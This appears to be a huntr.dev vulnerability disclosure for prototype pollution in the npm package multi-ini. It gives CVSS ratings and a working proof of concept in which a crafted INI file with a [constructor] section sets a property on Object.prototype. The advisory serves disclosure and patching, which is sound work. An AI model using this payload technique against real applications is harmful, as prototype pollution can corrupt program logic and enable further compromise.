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huntrMohanl0l1-NPM-MULTI-INI
HistoryDec 14, 2020 - 12:00 a.m.

Prototype Pollution in evangelion1204/multi-ini

2020-12-1400:00:00
mohanl0l
www.huntr.dev
7

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.006 Low

EPSS

Percentile

78.7%

Description

multi-ini is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC and INI files:
// poc.js
const ini = require('multi-ini');
console.log("Before : " + {}.polluted);
var content = ini.read('./payload.ini');
console.log("After : " + {}.polluted);

//payload.ini
[constructor]
prototype.polluted = "Yes! Its Polluted"
  1. Execute the following commands in terminal:
npm i multi-ini # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.006 Low

EPSS

Percentile

78.7%